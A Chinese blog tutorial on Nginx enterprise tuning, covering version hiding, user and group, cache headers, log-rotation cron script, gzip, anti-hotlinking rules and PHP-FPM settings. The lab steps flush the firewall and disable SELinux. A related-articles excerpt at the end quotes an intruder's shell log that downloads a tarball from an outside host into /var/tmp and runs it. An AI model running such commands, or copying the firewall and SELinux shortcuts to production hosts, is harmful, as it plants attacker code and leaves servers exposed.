Web服务器集群--Nginx企业级优化(隐藏/修改版本号,修改用户与组,缓存时间,日志切割,网页压缩)与防盗链

news/2024/7/10 5:22:39 标签: nginx, 云计算, 防盗链, 优化

Web服务器集群--Nginx企业级优化(隐藏/修改版本号,修改用户与组,缓存时间,日志切割,网页压缩)与防盗链

  • 一:Nginx服务优化
    • 1.1:配置Nginx隐藏版本号
      • 1.1.1:配置 Nginx隐藏版本号–修改配置文件法
      • 1.1.2:配置 Nginx隐藏版本号–修改源码法
      • 1.1.3:查看版本号的命令
      • 1.1.4:实验流程
    • 1.2:修改Nginx用户与组
      • 1.2.1:编译安装时指定
      • 1.2.2:修改配置文件时指定用户与组
      • 1.2.3:实验流程
    • 1.3:优化Nginx网页缓存时间
      • 1.3.1:实验流程
    • 1.4:实现Nginx日志分割
      • 1.4.1:编写脚本进行日志切割的思路
    • 1.5:配置Nginx实现连接超时
  • 二:Nginx深入优化
    • 2.1:更改Nginx运行进程数
    • 2.2:如何配置Nginx实现网页压缩功能
      • 2.2.1:压缩功能参数
      • 2.2.2:优化网页压缩配置
    • 2.3:防盗链
    • 2.4:对FPM模块进行参数优化
      • 2.4.1:FPM模块概述
      • 2.4.2:FPM优化参数讲解
      • 2.4.3:FPM优化参数实例

一:Nginx服务优化

1.1:配置Nginx隐藏版本号

  • 在生产环境中,需要隐藏Ngnx的版本号,以避免安全漏洞的泄漏

  • 查看方法

    使用fdde工具在 Windows客户端查看 Nginx版本号

    在 Centos系统中使用“curl -l 网址”命令查看N

  • nginx隐藏版本号的方法

    修改配置文件法

    修改源码法

1.1.1:配置 Nginx隐藏版本号–修改配置文件法

  • Nginx的配置文件中的 server_tokens选项的值设置为off
vim /usr/local/nginx/conf/nginx.conf 
http {
    include       mime.types;
    default_type  application/octet-stream;
    server_tokens off;			'添加'
}
  • 重启服务,访问网站使用curl -l 命令检测
[root@localhost conf]# systemctl restart nginx
[root@localhost conf]# curl -I http://20.0.0.47
HTTP/1.1 200 OK
Server: nginx
  • 使用PHP处理动态网页

1.若php配置文件中配置了 fastcgi_ param SERVER SOFTWARE选项

2.则编辑 php-fpm配置文件,将 fastcgi_param SERVER SOFTWARE对应的值修改为fastcgi_param SERVER_SOFTWARE nginx

1.1.2:配置 Nginx隐藏版本号–修改源码法

  • Nginx源码文件/usr/src/ nginx-1.12.2/src/ core/nginx. h包含了版本信息,可以随意设置

  • 重新编译安装,隐藏版本信息

  • 示例:

    #define NGINX_VERSION “1.1.1″,修改版本号为1.1.1

    #define NGINX_VER “IIS/",修改软件类型为lls

vim /opt/nginx-1.12.0/src/core/nginx.h
#define nginx version  	1012000
#define NGINX VERSION	"1.1.1" 		'修改版本号'
#define NGINX VER	"IIS/" NGINX_VERSION  

重新编译,make && make install

1.1.3:查看版本号的命令

curl -I http://20.0.0.47/  ##查看版本号

1.1.4:实验流程

[root@localhost ~]# iptables -F
[root@localhost ~]# setenforce 0
[root@localhost ~]# yum install gcc gcc-c++ pcre pcre-devel zlib-devel -y
tar
[root@localhost opt]# cd nginx-1.12.2/
[root@localhost nginx-1.12.2]# ls
auto  CHANGES  CHANGES.ru  conf  configure  contrib  html  LICENSE  man  README  src
[root@localhost nginx-1.12.2]# useradd -M -s /sbin/nologin nginx
[root@localhost nginx-1.12.2]# ./configure \
--prefix=/usr/local/nginx \
--user=nginx \
--group=nginx \
--with-http_stub_status_module
[root@localhost nginx-1.12.2]# make && make install
[root@localhost nginx-1.12.2]# vim /etc/init.d/nginx
#!/bin/bash
# chkconfig:- 99 20
# description:Nginx Service Control Script
PROG="/usr/local/nginx/sbin/nginx"
PIDF="/usr/local/nginx/logs/nginx.pid"
case "$1" in
 start)
        $PROG
        ;;
 stop)
        kill -s QUIT $(cat $PIDF)
        ;;
 restart)
        $0 stop
        $0 start
        ;;
 reload)
        kill -s HUP $(cat $PIDF)
        ;;
 *)
        echo "Usage:$0 {start|stop|restart|reload}"
        exit 1
esac
exit 0
[root@localhost nginx-1.12.2]# ln -s /usr/local/nginx/sbin/nginx /usr/local/bin
[root@localhost nginx-1.12.2]# nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful     
[root@localhost nginx-1.12.2]# chmod +x /etc/init.d/nginx 
[root@localhost nginx-1.12.2]# chkconfig --add nginx
[root@localhost nginx-1.12.2]# service nginx start
[root@localhost nginx-1.12.2]# curl -I http://20.0.0.47
HTTP/1.1 200 OK
Server: nginx/1.12.2
Date: Mon, 10 Aug 2020 07:07:05 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Mon, 10 Aug 2020 07:02:56 GMT
Connection: keep-alive
ETag: "5f30f120-264"
Accept-Ranges: bytes
方法一配置
[root@localhost nginx-1.12.2]# cd /usr/local/nginx/conf/
[root@localhost conf]# vim nginx.conf
http {
    include       mime.types;
    default_type  application/octet-stream;
    server_tokens off;  '添加这行,关闭版本号'
[root@localhost conf]# systemctl restart nginx
[root@localhost conf]# curl -I http://20.0.0.47
HTTP/1.1 200 OK
Server: nginx				'版本号已被隐藏'
Date: Mon, 10 Aug 2020 07:12:03 GMT
Content-Type: text/html
Content-Length: 612
Last-Modified: Mon, 10 Aug 2020 07:02:56 GMT
Connection: keep-alive
ETag: "5f30f120-264"
Accept-Ranges: bytes

1.2:修改Nginx用户与组

  • Nginx运行时进程需要有用户与组的支持,以实现对网站文件读取时进行访问控制

  • Nginx默认使用 nobody用户账号与组账号,一般也要进行修改

  • 修改的方法

    编译安装时指定用户与组

    修改配置文件时指定用户与组

1.2.1:编译安装时指定

  • 创建用户账号与组账号,如 nginx
  • 在编译安装时–user与- -group指定Nginx服务的运行用户与组账号

1.2.2:修改配置文件时指定用户与组

  • 新建用户账号,如 nginx
  • 修改主配置文件user选项,指定用户账号
  • 重启 nginx服务,使配置生效
  • 使用 ps aux命令查看nginx的进程信息,验证运行用户账号改变效果
vim /usr/local/nginx/conf/nginx.conf
user nginx nginx;	'#注释掉,修改用户为nginx,组为nginx'

service nginx restart
ps aux |grep nginx 
root	130034 0.0 0.0 20220 620  Ss 1941 000  nginx:master process
/usr/local/sbin/nginx 		'主进程由root创建'
nginx	130035 0.0 0.0 20664 1512 S 1941 000  nginx:worker process		'子进程由nginx创建'

1.2.3:实验流程

cd /usr/local/nginx/conf
[root@localhost conf]# id nobody
uid=99(nobody) gid=99(nobody) =99(nobody)
[root@localhost conf]# vim nginx.conf
user  nginx nginx;			'#注释掉,将nobody改成nginx'
[root@localhost conf]# nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful
[root@localhost conf]# systemctl restart nginx
[root@localhost conf]# ps aux | grep nginx
root      11947  0.0  0.0  20544   608 ?        Ss   15:18   0:00 nginx: master process /usr/localnginx/sbin/nginx
nginx     11948  0.0  0.0  23072  1384 ?        S    15:18   0:00 nginx: worker process
root      11950  0.0  0.0 112724   988 pts/1    S+   15:18   0:00 grep --color=auto nginx

1.3:优化Nginx网页缓存时间

  • 当Nginx将网页数据返回给客户端后,可设置缓存的时间,以方便在日后进行相同内容的请求时直接返回,避免重复请求,加快了访问速度

  • 一般针对静态网页设置,对动态网页不设置缓存时间

  • 可在 Windows客户端中使用 fiddler查看网页缓存时间

  • 设置方法

    可修改配置文件,在http段、或者 server段、或者 location段加入对特定内容的过期参数

  • 示例

    修改 Nginx的配置文件,在 location段加入 expires参数

  [root@localhost conf]# vim nginx.conf
      location ~\.(gif|jpg|jpeg|png|bmp|ico)$ {			'加入新的location'
              root   html;
              expires 1d;				'指定缓存时间为一天'
          }

1.3.1:实验流程

[root@localhost conf]# vim nginx.conf
    location ~\.(gif|jpg|jpeg|png|bmp|ico)$ {
            root   html;
            expires 1d;
        }
[root@localhost conf]# cd ..
[root@localhost nginx]# cd html/
[root@localhost html]# rz -E
rz waiting to receive.
[root@localhost html]# ls
50x.html  chiji.jpg  index.html
[root@localhost html]# vim index.html 
<img src="chiji.jpg"\>
[root@localhost html]# systemctl restart nginx
[root@localhost html]# nginx

在这里插入图片描述

1.4:实现Nginx日志分割

  • 随着 Nginx运行时间增加,日志也会增加。为了方便掌握 Nginx运行状态,需要时刻关注Ngnx日志文件

  • 太大的日志文件对监控是一个大灾难

    定期进行日志文件的切割

  • Nginx自身不具备日志分割处理的功能,但可以通过Nginx信号控制功能的脚本实现日志的自动切割,并通过Lnux的计划任务周期性地进行日志切割

1.4.1:编写脚本进行日志切割的思路

- 设置时间变量
- 设置保存日志路径
- 将目前的日志文件进行重命名
- 删除时间过长的日志文件
- 设置cron任务,定期执行脚本自动进行日志分割


[root@localhost html]# vim /opt/fenge.sh
#!/bin/bash
#Filename:fenge.sh
#'设置日期名称'
d=$(date -d "-1 day" "+%Y%m%d")
logs_path="/var/log/nginx"
pid_path="/usr/local/nginx/logs/nginx.pid"
#'自动创建日志目录'
[ -d $logs_path ] || mkdir -p $logs_path
#'分割日志'
mv /usr/local/nginx/logs/access.log ${logs_path}/test.com-access.log-$d
#'生成新日志'
kill -HUP $(cat $pid_path)
#'删除30天前的日志'
find $logs_path -mtime +30 | xargs rm -rf


chmod +x fenge.sh

crontab -e	'//设置周期性任务'

0 1 * * * /opt/fenge.sh 

----date -d +1(second minute hour day month year)--
--------kill -QUIT 5410 结束进程 -HUP 平滑重启 类似 reload -USRl 日志分隔 -USR2平滑升级-----


date -d "-1 day" "+%Y%m%d"		'//##时间向前推进一天'

date -s 2020-08-11			'//##时间向后推移一天'

1.5:配置Nginx实现连接超时

  • 在企业网站中,为了避免同一个客户长时间占用连接,造成资源浪费,可设置相应的连接超时参数,实现控制连接访向问时间
  • 使用 Fiddler工具查看 connection参数
  • 超时参数讲解
    • Keepalive_timeout
      • 设置连接保持超时时间,一般可只设置该参数,默认为75秒,可根据网站的情况设置,或者关闭,可在http段、 server段、或者 location段设置
    • Client_header_timeout
      • 指定等待客户端发送请求的超时时间
    • Client_body_timeout
      • 设置请求体读超时时间
vim /usr/local/nginx/conf/nginx.conf
keepalive_timeout  100;	'连接超时时间 100'
Client_header_timeout 80		'等待客户端发送请求的超时时间,超时会发送408错误'
Client_body_timeout 80			'设置客户端发送请求超时时间'

二:Nginx深入优化

2.1:更改Nginx运行进程数

  • 在高并发场景,需要启动更多的 Nginx进程以保证快速响应,以处理用户的请求,避免造成阻塞

  • 可以使用 ps auxi命令查看Ngnx运行进程的个数

  • 更改进程数的配置方法

    修改配置文件,修改进程配置参数

  • 修改配置文件的 worker_ processes参数

    一般设为CPU的个数或者核数

    在高并发情况下可设置为CPU个数或者核数的2倍

  • 运行进程数多一些,响应访问请求时, Nginx就不会临时启动新的进程提供服务,减少了系统的开销,提升了服务速度

  • 使用 ps aux查看运行进程数的变化情况

  • 默认情况, Nginx的多个进程可能跑在一个cPU上,可以分配不同的进程给不同的CPU处理,充分利用硬件多核多CPU

  • 在一台4核物理服务器,可进行以下配置,将进程进行分配

    Worker_cpu_affinity 0001 0010 0100 1000 ‘//核心数的序列位置’

[root@localhost opt]# cat /proc/cpuinfo | grep -c "physical"  cpu核数
8
[root@localhost opt]# vim /usr/local/nginx/conf/nginx.conf
worker_processes  8;    '建议修改为核数相同,不要超过核数'
[root@localhost opt]# systemctl restart nginx
[root@localhost opt]# ps aux | grep nginx         '一个主进程中包含一个子进程'

work_cpu_affinity 01 10; '设置每个进程由不同CPU处理'

2.2:如何配置Nginx实现网页压缩功能

  • Nginx的ngx_htto_gzip_ module压缩模块提供对文件内容压缩的功能
  • 允许Nginx服务器将输出内容在发送客户端之前进行压缩,以节约网站带宽,提升用户的访问体验,默认已经安装
  • 可在配置文件中加入相应的压缩功能参数对压缩性能进行优化

2.2.1:压缩功能参数

  • gzip on:开启gzip压缩输出g
  • zip_min_length 1k:用于设置允许压缩的页面最小字节数
  • gzip_buffers 4 16k:表示申请4个单位为16k的内存作为压缩结果流缓存,默认值是申请与原始数据大小相同的内存空间来存储gzip压缩结果(buffers:缓存区)
  • zip_http_version1.0:用于设置识别htt协议版本,默认是1.1,目前大部分浏览器已经支持gzip解压,但处理最慢,也比较消耗服务器CPU资源
  • gzip_comp_level2:用来指定gzp缩比,1压缩比最小,处理速度最快;9压缩比最大,传输速度快,但处理速度最慢,使用默认即可
  • gzip_types text/plain:压缩类型,是就对哪些网页文档启用压缩功能
  • gzip_vary on:选项可以让前端的缓存服务器缓存经过gzi压缩的页面
  • 将以上的压缩功能参数加入到主配置文件httpd配置中
  • 重启服务,并用 Fiddler工具查看开启结果

2.2.2:优化网页压缩配置

[root@localhost opt]# vim /usr/local/nginx/conf/nginx.conf
 gzip  on;
    gzip_min_length 1k;
    gzip_buffers 4 16k;
    gzip_http_version 1.1;
    gzip_types text/plain application/x-javascript text/css image/jpg image/jpeg image/png image/g if application/xml text/javascript application/x-httpd-php application/javascript application/json;
    gzip_disable "MSIE[1-6]\.";
    gzip_vary on;
[root@localhost opt]# systemctl restart nginx

在这里插入图片描述

2.3:防盗链

2.3.1:防盗链概述

  • 在企业网站服务中,一般都要配置防盗链功能,以避免网站内容被非法盗用,造成经济损失
  • Nginx防盗链功能也非常强大。默认情况下,只需要进行简单的配置,即可实现防盗链处理

3.3.2:盗链配置

源主机
tar zxvf nginx-1.12.2.tar.gz -C /opt
cd /opt/nginx-1.12.2
[root@localhost nginx-1.12.2]# yum install gcc gcc-c++ zlib-devel pcre pcre-devel -y
[root@localhost nginx-1.12.2]# useradd -M -s /sbin/nologin nginx
[root@localhost nginx-1.12.2]# id nginx
[root@localhost nginx-1.12.2]# ./configure \
--prefix=/usr/local/nginx \
--user=nginx \
--group=nginx \
--with-http_stub_status_module
[root@localhost nginx-1.12.2]# make && make install
[root@yuan nginx-1.12.2]# vim /etc/init.d/nginx
[root@yuan nginx-1.12.2]# vim /etc/init.d/nginx
#!/bin/bash
# chkconfig:- 99 20
# description:Nginx Service Control Script
PROG="/usr/local/nginx/sbin/nginx"
PIDF="/usr/local/nginx/logs/nginx.pid"
case "$1" in
 start)
        $PROG
        ;;
 stop)
        kill -s QUIT $(cat $PIDF)
        ;;
 restart)
        $0 stop
        $0 start
        ;;
 reload)
        kill -s HUP $(cat $PIDF)
        ;;
 *)
        echo "Usage:$0 {start|stop|restart|reload}"
        exit 1
esac
exit 0
[root@localhost nginx-1.12.2]# ln -s /usr/local/nginx/sbin/nginx /usr/local/bin
[root@localhost nginx-1.12.2]# nginx -t
nginx: the configuration file /usr/local/nginx/conf/nginx.conf syntax is ok
nginx: configuration file /usr/local/nginx/conf/nginx.conf test is successful     
[root@localhost nginx-1.12.2]# chmod +x /etc/init.d/nginx 
[root@localhost nginx-1.12.2]# chkconfig --add nginx
[root@localhost nginx-1.12.2]# service nginx start
[root@yuan nginx-1.12.2]# cd /usr/local/nginx/html/
[root@yuan html]# vim index.html 
<img src="chiji.jpg"\>
[root@yuan html]# service nginx stop
[root@yuan html]# service nginx start
盗链网站
[root@localhost ~]# iptables -F
[root@localhost ~]# setenforce 0
[root@localhost ~]# yum install httpd -y
[root@localhost yum.repos.d]# vim /etc/httpd/conf/httpd.conf 
Listen 20.0.0.51:80
#Listen 80
ServerName www.test.com:80
[root@localhost yum.repos.d]# cd /var/www/html/
[root@localhost html]# ls
[root@localhost html]# vim index.html
<h1>this is test web</h1>
<img src="http://www.kevin.com/chiji.jpg"\>
[root@localhost html]# echo "nameserver 20.0.0.47" > /etc/resolv.conf
[root@localhost html]# systemctl start httpd.service

2.3.3:防盗链配置

源主机
[root@yuan html]# vim /usr/local/nginx/conf/nginx.conf
  location ~*\.(jpg|gif|swf)$ {
                valid_referers none blocked *.kevin.com kevin.com;
                if ( $invalid_referer ) {
                   rewrite ^/ http://www.kevin.com/error.png;
                }
        }
[root@yuan html]# service nginx stop
[root@yuan html]# service nginx start
  • 测试机测试
    在这里插入图片描述

2.3.4:配置说明

  • valid_referers:设置信任的网站,即能引用相应图片的网站
  • none:浏览器中 Referer为空的情况,就是直接在浏览器访问图片
  • blocked:浏览器中referer不为空的情况,但是值被代理或防火墙删除了,这些值不以http://或者https://开头
  • 后面的网址或者域名:referer中包含相关字符串的网址
  • if句:如果链接的来源域名不在 valid_referers所列出的列表中, $invalid_referer为1,则执行后面的操作,即进行重写或返回403页面

2.4:对FPM模块进行参数优化

2.4.1:FPM模块概述

  • Nginx的PHP解析功能实现如果是交由FPM处理的,为了提高PHP的处理速度,可对FPM模块进行参数的调整

  • FPM模块参数调整,要根据服务器的内存与服务负载进行调整

  • 启动fpm进程方式

    static:将产生固定数量的fpm进程

    dynamic:将以动态的方式产生fpm进程

    通过pm参数指定

2.4.2:FPM优化参数讲解

  • Static的方式的参数
    • pm.max_children:指定启动的进程数量
  • Dynamic方式的参数
    • pm.max_children:指定启动的进程数量最大的数量
    • pm.start_servers:动态方式下初始的m进程数量
    • pm.min_spare_servers:动态方式下最小的fpm空闭进程数
    • pm.max_spare_servers:动态方式下最大的fpm空闭进程数

2.4.3:FPM优化参数实例

  • 优化原因:

    • 服务器为云服务器,运行了个人论坛,内存为15G,fpm进程数为20,内存消耗近1G,处理比较慢
  • 优化参数调整

    FPM启动时有5个进程,最小空闲2个进程,最大空闲8个进程,最多可以有20个进程存在

  vim php.fpm.conf
  pm=dynamic
  pm.max_children=20
  pm.start_servers = 5
  pm.min_spare_servers = 2
  pm.max_spare_servers = 8

http://www.niftyadmin.cn/n/1111252.html

相关文章

html和body标签(1)

<!doctype html> <html> <head> <meta charset"UTF-8"> <style> 我在style里 * {margin: 0;padding: 0;border: 0; }html{/*红色背景*/background-color: rgb(255,0,0);/*深灰色边框*/border: 3px solid rgb(75, 75,75);/*使body和htm…

黑客攻击日志记录(转)

黑客攻击日志记录(转)[more]然我被黑了,但是我得到了宝贵的资料,以便我分析黑客到底在我的服务器上做些什么,但是小弟才疏学浅还是有很多地方看不懂,故贴出来供大家参考,学习! 1 cd /var/tmp 2 wget alin777.net/emech.tgz 3 cd /var/tmp 4 cd mech 5 dir 6 cd emech 7 ./wnet …

jquery easyui-datagrid动态改变标题

$(#xxx).datagrid("getPanel").panel("setTitle","new title")//首先获取datagrid的panel再调用panel的setTitle方法 注意&#xff1a;datagrid初始化时必须设置属性title值&#xff0c;比如空格

Linux程式设计入门 - Dialog(转)

Linux程式设计入门 - Dialog(转)[more]dialog是个shell scripts用的&#xff0c;事实上当您下载Linux Kernel时&#xff0c;里面有个scripts/lxdialog目录&#xff0c;其实那就是dialog原始码&#xff0c;只是Linux kernel为了避免与原有dialog相冲突&#xff0c;将名字修改为l…

c语言实现贪吃蛇

游戏分析&#xff1a; ——初期分析 蛇&#xff1a;考虑到每个蛇节点包含x&#xff0c;y坐标以及指向下一个节点的指针&#xff08;坐标用c语言内置类型COORD&#xff0c;本质是一个由x和y坐标构成的结构体类型&#xff09;&#xff0c;用结构体类型来表示每一个蛇身节点&#…

Web服务器集群--Nginx中的Rewrite的语法,应用示例

Web服务器集群--Nginx中的Rewrite的语法&#xff0c;应用示例一&#xff1a;Nginx Rewrite概述1.1&#xff1a;Rewrite跳转场景1.2&#xff1a;Rewrite跳转实现1.3&#xff1a;Rewrite实用场景1.4&#xff1a;Nginx正则表达式二&#xff1a;Rewrite命令2.1&#xff1a;rewrite语…

jQuery easyUI datagrid 增加求和统计行

原文链接&#xff1a;http://blog.csdn.net/a497785609/article/details/42713119 在datagrid的onLoadSuccess事件增加代码处理。 <style type"text/css"> .subtotal { font-weight: bold; }/*合计单元格样式*/ </style> <script type"te…

六步升级你的Debian Linux内核到当前最新稳定版本(转)

六步升级你的Debian Linux内核到当前最新稳定版本(转)[more]本文经验基于如下环境&#xff1a;原Debian版本为&#xff1a;Debian GNU/Linux 3.1原内核版本为&#xff1a;2.6.8-2-686下载的新内核版本为&#xff1a;2.6.15.6下载文件的存放路径为&#xff1a;/tmp参考了文档&am…